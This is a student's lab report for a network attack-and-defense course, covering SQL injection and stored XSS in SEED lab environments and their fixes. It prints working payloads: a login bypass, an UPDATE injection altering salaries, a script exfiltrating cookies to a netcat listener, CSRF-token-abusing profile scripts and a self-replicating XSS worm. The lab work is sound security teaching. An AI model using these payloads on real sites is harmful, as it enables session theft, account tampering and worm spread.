20252809 2025-2026-2《网络攻防实践》实践十报告

20252809 2025-2026-2《网络攻防实践》实践十报告


1. 实践内容

本次实践围绕 Web 安全两大核心漏洞展开系统性攻防实验:

  • SQL 注入攻击与防御:基于 SEED 实验室提供的员工管理系统,深入理解 SQL 注入漏洞的成因与利用方式,包括 SELECT 语句注入绕过身份验证、UPDATE 语句注入篡改敏感数据,以及通过参数化查询(Prepared Statements)从根本上修复漏洞。
  • XSS 跨站脚本攻击与防御:以 Elgg 社交网络平台为靶场,完整实践存储型 XSS 的攻击链——从漏洞验证、Cookie 窃取、无感知操作(自动添加好友、篡改资料)到蠕虫传播,最终通过 HTMLawed 安全插件实现有效防御。

2. 实验环境准备

2.1 SEED 虚拟机部署

完成 SEED Ubuntu 虚拟机的导入与配置,确保实验环境正常运行。

image

image

2.2 安装 VMware Tools

在 Ubuntu 文件管理器中找到 VMware Tools 压缩包,复制到 home 目录后执行以下命令:

cd ~
pwd
tar -zxvf VMwareTools-10.3.26-22085142.tar.gz
cd vmware-tools-distrib
sudo ./vmware-install.pl

image

密码:seed

安装过程中直接按 Enter 键接受所有默认选项,遇到 yes/no 提示时输入 yes,直到终端出现 Enjoy, --the VMware team 即表示安装成功。

安装完成后可实现:

  • 主机与虚拟机之间直接拖拽文件
  • 双向复制粘贴文本
  • 虚拟机窗口自适应分辨率

2.3 修改主机名

su -
# 密码:seedubuntu
hostname wch
hostname

image

重启虚拟机后即可显示更改后的主机名。

2.4 启动 Apache 服务

sudo service apache2 start
sudo service apache2 status

image

出现绿色的 active (running) 状态说明 Apache 服务正常运行。

2.5 登录数据库

mysql -u root -pseedubuntu

image

出现 mysql> 提示符即表示数据库连接成功。


3. 实验过程

任务一:SQL 注入与防御实验

3.1 熟悉 SQL 语法

1. 查看所有数据库

SHOW DATABASES;

注意:SQL 语句末尾必须带英文分号 ;。

image

确认存在 Users 数据库(实验用的员工数据均存储于此)。

2. 切换到 Users 数据库

USE Users;

image

后续所有操作均在此数据库中执行。

3. 查看数据库中的表

SHOW TABLES;

image

确认存在 credential 表(包含 ID、姓名、薪资、密码、SSN 等敏感字段)。

4. 查询 credential 表的所有员工数据

SELECT * FROM credential;

image

查看表中所有员工的完整信息,熟悉表结构与数据格式。

5. 查询指定用户 Alice 的信息

SELECT * FROM credential WHERE Name='Alice';

image

练习条件查询,为后续注入实验做准备。

6. 查询 ID 小于等于 3 的员工信息

SELECT * FROM credential WHERE ID <= 3;

image


3.2 SELECT 语句 SQL 注入攻击

1. 退出 MySQL 命令行

EXIT;

2. 访问靶场网站

打开 SEED 虚拟机自带的 Firefox 浏览器,地址栏输入:

http://www.SEEDLabSQLInjection.com

image

进入员工系统登录页面。

3. 查看页面源代码

在页面空白处右键选择 View Page Source,查看页面源代码。

image

分析可知:登录表单通过 GET 方法将数据提交至 unsafe_home.php 处理。

4. 分析后端验证代码

cd /var/www/SQLInjection/
ls
gedit /var/www/SQLInjection/unsafe_home.php

image

image

漏洞分析:

后端代码直接将用户输入的 $input_uname 拼接到 SQL 语句中,未进行任何过滤或转义:

// 存在漏洞的代码片段
SELECT ... FROM credential WHERE name='$input_uname' AND Password='$hashed_pwd'

注入原理:

当输入 Admin'# 时,拼接后的 SQL 语句变为:

SELECT ... FROM credential WHERE name='Admin'#' AND Password='xxx'
  • ' 闭合了前面的字符串常量
  • # 是 MySQL 的单行注释符,将后续的 AND Password='xxx' 全部注释掉
  • 最终执行的 SQL 等效于 WHERE name='Admin',直接绕过了密码验证

5. 执行注入攻击

字段 输入值
用户名 Admin'#
密码 (留空)

image

点击登录后,无需输入正确密码即可直接以管理员 Admin 身份登录,成功查看到所有员工的薪资、SSN 等敏感信息,SELECT 语句的 SQL 注入攻击完成。


3.3 UPDATE 语句 SQL 注入攻击(篡改管理员薪资)

1. 用普通员工 Alice 账号登录

字段 值
Username Alice
Password seedalice

image

2. 进入 Edit Profile 页面

找到并进入 Edit Profile 页面(可通过 Ctrl + 鼠标滚轮 调整浏览器缩放比例以在上方显示)。

image

3. 分析后端代码

vim /var/www/SQLInjection/unsafe_edit_backend.php

image

后端直接将用户输入的 $input_nickname 拼接到 UPDATE 语句中,未做任何过滤,这正是注入利用的关键点。

4. 构造并执行 UPDATE 注入

在 NickName 输入框中注入:

',Salary='20252809' WHERE name='Admin';#

image

拼接后的 SQL 语句:

UPDATE credential
SET nickname='',Salary='20252809' WHERE name='Admin';#',
    email='xxx',address='xxx',PhoneNumber='xxx' WHERE ID=1;

Payload 解析:

部分 作用
' 闭合 nickname='$input_nickname' 中的单引号
,Salary='20252809' WHERE name='Admin' 注入新的 SET 子句,将 Admin 的薪资修改为 20252809
; 结束当前 SQL 语句
# 注释掉后续所有内容,避免语法错误

点击 Save 保存修改。

5. 验证篡改结果

退出 Alice 账号,使用 Admin'# 登录管理员账号,查看 Admin 的薪资信息,确认已变为 20252809。

image


3.4 修复 SQL 注入漏洞

1. 打开后端代码文件

vim /var/www/SQLInjection/unsafe_edit_backend.php

2. 定位漏洞代码

按 / 键,输入 UPDATE credential 并回车,跳转到两段拼接的 UPDATE 语句。

image

3. 修改为参数化查询

第一段(含密码修改):

$sql = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, Password=?, PhoneNumber=? WHERE ID=?");
$sql->bind_param("sssssi", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber, $id);
$sql->execute();

第二段(不含密码修改):

$sql = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, PhoneNumber=? WHERE ID=?");
$sql->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$sql->execute();

image

按 Esc → 输入 :wq 回车保存修改。

4. 验证漏洞修复

  • SELECT 注入修复验证:再次输入 Admin'#(用户名),密码留空,点击 Login,发现登录失败,无法绕过验证。

image

  • UPDATE 注入修复验证:用 Alice 账号登录,在 NickName 输入框再次输入之前的 Payload,点击 Save,查看 Admin 薪资不再被篡改。

image

参数化查询将 SQL 代码与用户数据分离,从根本上杜绝了注入攻击的可能性。


任务二:SEED 存储型 XSS 跨站脚本攻击与防御实验

3.5 XSS 弹窗验证(漏洞存在性测试)

1. 登录 Elgg 靶场

使用 Alice 账号(密码:seedalice)登录 Elgg 靶场。

image

2. 进入个人资料编辑页面

点击账号名 Alice → Edit profile 进入个人资料编辑页面。

image

3. 注入弹窗代码

在 Brief description 输入框注入恶意代码:

<script>alert('XSS wch successful');</script>

image

4. 验证漏洞

点击 Save 保存,页面自动刷新并弹出警告窗口,存储型 XSS 漏洞验证成功。

image


1. 注入获取 Cookie 的代码

清空 Alice 的 Brief description 原有内容,注入:

<script>alert('当前用户Cookie:' + document.cookie);</script>

image

2. 验证 Cookie 获取

保存后页面弹出包含当前用户会话 Cookie 的弹窗,证明可通过 XSS 获取用户敏感会话信息。

image


1. 查看虚拟机 IP

ifconfig

image

记录本机 IP:192.168.200.10

2. 开启端口监听

在终端开启 500 端口监听,等待接收 Cookie:

nc -l 500

image

3. 注入 Cookie 窃取代码

在 Alice 的 Brief description 中注入:

<script>document.write('<img src=http://192.168.200.10:500?c='+escape(document.cookie)+'>');</script>

image

4. 触发攻击

使用 Boby 账号登录 Elgg,访问 Alice 的个人主页。

image

image

image

5. 查看监听结果

查看监听终端,成功接收 Boby 的 Cookie 信息,完成远程会话 Cookie 窃取。

image


3.8 XSS 实现自动添加好友(无感知操作)

1. 分析添加好友请求

在 Boby 账号上点击 Members,按 F12 打开开发者工具 → Network,手动添加 Alice 为好友以捕获请求信息。

image

image

2. 注入自动加好友代码

清空 Boby 的 Brief description,将 About me 切换为 Edit HTML 模式,注入:

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    // 目标用户 ID(Samy 用户 ID 为 44)
    var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
    Ajax = new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

image

3. 验证自动加好友

登录 Samy 账号并访问 Boby 主页,发现 Samy 已与 Boby 成为好友,无需受害者干预,自动添加好友成功。

image

image


3.9 XSS 自动篡改用户个人信息

1. 注入信息篡改代码

<script type="text/javascript">
window.onload = function(){
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var content = token + ts + "&name=" + userName + "&description=<p>已被 wch XSS 攻击篡改信息!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    // Alice 用户 ID,排除自身
    var aliceGuid = 44;
    if(elgg.session.user.guid != aliceGuid){
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

image

2. 验证信息篡改

使用 Boby 账号打开 Alice 主页,查看 Boby 个人资料,简介已被自动篡改,信息篡改攻击成功。

image


3.10 编写 XSS 蠕虫(自我复制与传播)

1. 构造蠕虫代码

将具备自我复制能力的 XSS 蠕虫代码放入 Alice 的 About me(Edit HTML) 并保存:

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id='worm' type='text/javascript'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var content = token + ts + "&name=" + userName + "&description=<p>已被 XSS 蠕虫感染!" + wormCode + "</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    // 排除蠕虫发布者 ID
    var aliceGuid = 44;
    if(elgg.session.user.guid != aliceGuid){
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

image

2. 验证蠕虫传播

  • Boby 访问 Alice 主页 → 被感染
  • Samy 访问 Boby 主页 → 被感染

蠕虫跨用户自动传播成功。

image


3.11 XSS 漏洞防御

1. 启用安全过滤插件

登录 Admin 账号(密码:seedelgg),点击右上角 Account → Administration → Plugins 进入插件管理页。

image

找到 HTMLawed 安全过滤插件,点击 Activate 启用(自动过滤恶意 HTML/JS 代码)。

image

2. 防御验证

  • 经 HTMLawed 过滤后,原有恶意脚本被转义为不可执行的纯文本,浏览器仅作静态渲染
  • 再次尝试植入攻击向量,输入层即被拦截净化,无法进入后续的存储与响应流程

image


4. 学习中遇到的问题及解决

问题 1:SEED 虚拟机终端粘贴失效

现象:任务二中的 XSS 代码较长,手动输入易出错,且难以定位是步骤错误还是代码错误。

解决方案:打开 SEED 虚拟机设置,在 CD/DVD 中导入 linux.iso,按照 2.2 节流程安装 VMware Tools,重启后即可实现复制粘贴。

问题 2:XSS 攻击时 Boby 访问 Alice 主页未看到篡改内容

现象:Boby 账号访问 Alice 主页时,没有看到被篡改的简历信息。

解决方案:退出 Alice 账号或重新刷新 Alice 主页即可正常显示篡改结果。

问题 3:文件只读,无法保存(E45: 'readonly' option is set)

现象:以普通用户权限打开 /var/www/ 下的文件,无写入权限,无法保存修改。

解决方案:使用 :wq! 强制覆盖保存,或直接用 sudo vim 以管理员权限打开文件。

问题 4:权限不足无法写入(E212: Can't open file for writing)

现象:普通用户对系统目录下的文件无修改权限,即使强制保存也失败。

解决方案:改用 sudo vim /var/www/xxx.php 以管理员权限打开文件,一次性解决权限问题。


5. 实践总结

本次实验围绕 Web 安全两大核心漏洞——SQL 注入与 XSS 跨站脚本——展开了系统性的攻防实践。

在 SQL 注入部分,从最基础的 SQL 语法熟悉开始,逐步深入到 SELECT 语句注入绕过登录验证、UPDATE 语句注入篡改管理员薪资,最终通过参数化查询(Prepared Statements)彻底修复漏洞。这一过程深刻体现了"用户输入不可信"的安全原则——任何来自用户的数据都必须经过严格校验,绝不能直接拼接到 SQL 语句中。参数化查询通过将 SQL 代码与数据分离,从根本上消除了注入攻击的可能性。

在 XSS 攻击部分,完整体验了存储型 XSS 从简单弹窗到复杂蠕虫传播的完整攻击链。从获取 Cookie、窃取会话信息,到无感知添加好友、自动篡改资料,再到编写具备自我复制能力的 XSS 蠕虫,每一步都直观展示了 XSS 的危害。最后通过启用 HTMLawed 过滤插件进行防御,验证了"输入过滤 + 输出编码"防御策略的有效性。

核心启示:Web 安全的本质在于信任边界的把控。任何来自用户的数据都必须经过严格的验证和过滤,绝不能直接拼接到代码或 SQL 语句中。本次实践不仅掌握了具体的攻击技术与防御手段,更重要的是建立了"攻击者思维",能够从安全角度审视 Web 应用的每一个输入点和输出点。


6. 致谢

感谢《网络攻防实践》课程王老师的悉心指导与耐心解答,同时也借鉴了叶姜琪和程宇同学的实验报告,为本次实验提供了清晰的思路框架与专业的技术支持。感谢 SEED 实验室提供的完整实验环境和靶场资源,使我们能够在安全可控的条件下开展 Web 渗透测试实践。同时感谢开源社区中 MySQL、Apache、Elgg 等优秀项目的开发者与维护者,正是这些成熟可靠的技术平台,为安全研究提供了坚实的技术基础。


7. 参考资料

[1] SEED Project. SEED Labs - SQL Injection Attack Lab. https://seedsecuritylabs.org/Labs_20.04/Software/Web_SQL_Injection/

[2] SEED Project. SEED Labs - XSS Attack Lab. https://seedsecuritylabs.org/Labs_20.04/Software/Web_XSS_Elgg/

[3] OWASP. SQL Injection Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

[4] OWASP. Cross Site Scripting (XSS) Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

[5] MySQL 官方文档. Prepared Statements. https://dev.mysql.com/doc/refman/8.0/en/sql-prepared-statements.html

[6] Elgg 官方网站. Elgg - Open Source Social Networking Engine. https://elgg.org/

[7] 诸葛建伟, 陈力波等. 《网络攻防技术与实践》. 电子工业出版社, 2017.

posted @ 2026-05-17 01:51  dky王铖浩  阅读(56)  评论(0)    收藏  举报